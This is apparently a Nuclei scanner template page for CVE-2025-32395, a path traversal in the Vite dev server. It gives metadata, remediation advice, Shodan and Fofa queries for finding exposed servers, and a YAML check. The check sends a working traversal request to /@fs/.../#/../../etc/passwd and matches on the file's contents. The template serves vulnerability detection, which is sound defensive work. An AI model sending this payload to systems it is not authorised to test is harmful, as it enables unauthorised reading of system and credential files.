CVE-2025-32395: Vite - Path Traversal
- Template: CVE-2025-32395
- Name: Vite - Path Traversal
- Description: Vite versions prior to 6.2.6, 6.1.5, 6.0.15, 5.4.18, and 4.5.13 contain a file exposure vulnerability caused by improper handling of request URLs with '#' in the dev server running on Node or Bun, letting attackers access arbitrary files, exploit requires the server to be exposed to the network and running on Node or Bun.
- Impact: An unauthenticated attacker who can reach the Vite dev server (commonly exposed during development or in misconfigured deployments) can read arbitrary files on the host filesystem.
- Remediation: Update to version 6.2.6, 6.1.5, 6.0.15, 5.4.18, or 4.5.13 or later.
- Severity: medium
- Authors: ChrisJr404
- Tags: cve, cve2025, vite, lfi, vuln, unauth
- References: https://github.com/vitejs/vite/security/advisories/GHSA-356w-63v5-8wf4, https://nvd.nist.gov/vuln/detail/CVE-2025-32395
- Cves: CVE-2025-32395
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2025/CVE-2025-32395.yaml
- Digest: 490a0046304402204e0d13034a54604f3618ebac60478900a68e37b89c3007b4ae800fa8b69115de02205685836c6f8d5c90049a704e9ae0b8949d9076d9da992d1d95348c04d6c070d0
- Created at: 2026-05-05T00:43:09Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 203
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-32395.yaml
- Checked, none or zero: products
Classification
- Cwe: CWE-200
- Cvss score: 6
- Cvss vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
- Epss score: 0.0181
- Epss percentile: 0.79183
- Not known: cpe
Metadata
- Fofa-query: body="/@vite/client"
- Max-request: 1
- Shodan-query: http.html:"/@vite/client"
- Verified: yes
Labels
- Name: Vite - Path Traversal
- Impact: Attackers can retrieve arbitrary files from the server, potentially leading to sensitive data disclosure.
- Remediation: Update to version 6.2.6, 6.1.5, 6.0.15, 5.4.18, or 4.5.13 or later.
- Vulnerability type: path_traversal
- Vulnerability impact: information_disclosure, file_system_read
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2025-32395
- Not known: requirements
```yaml
id: CVE-2025-32395
info:
name: Vite - Path Traversal
author: ChrisJr404
severity: medium
description: |
Vite versions prior to 6.2.6, 6.1.5, 6.0.15, 5.4.18, and 4.5.13 contain a file exposure vulnerability caused by improper handling of request URLs with '#' in the dev server running on Node or Bun, letting attackers access arbitrary files, exploit requires the server to be exposed to the network and running on Node or Bun.
impact: |
An unauthenticated attacker who can reach the Vite dev server (commonly exposed during development or in misconfigured deployments) can read arbitrary files on the host filesystem.
remediation: |
Update to version 6.2.6, 6.1.5, 6.0.15, 5.4.18, or 4.5.13 or later.
reference:
- https://github.com/vitejs/vite/security/advisories/GHSA-356w-63v5-8wf4
- https://nvd.nist.gov/vuln/detail/CVE-2025-32395
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
cvss-score: 6.0
cve-id: CVE-2025-32395
cwe-id: CWE-200
epss-score: 0.0181
epss-percentile: 0.79183
metadata:
verified: true
max-request: 1
shodan-query: http.html:"/@vite/client"
fofa-query: body="/@vite/client"
tags: cve,cve2025,vite,lfi,vuln,unauth
http:
- raw:
- |+
GET /@fs/{{path}}/#/../../../../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
unsafe: true
payloads:
path:
- "usr/src"
- "app"
- "src"
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'regex("root:.*:0:0:", body)'
condition: and
digest: 490a0046304402204e0d13034a54604f3618ebac60478900a68e37b89c3007b4ae800fa8b69115de02205685836c6f8d5c90049a704e9ae0b8949d9076d9da992d1d95348c04d6c070d0:922c64590222798bb761d5b6d8e72950
```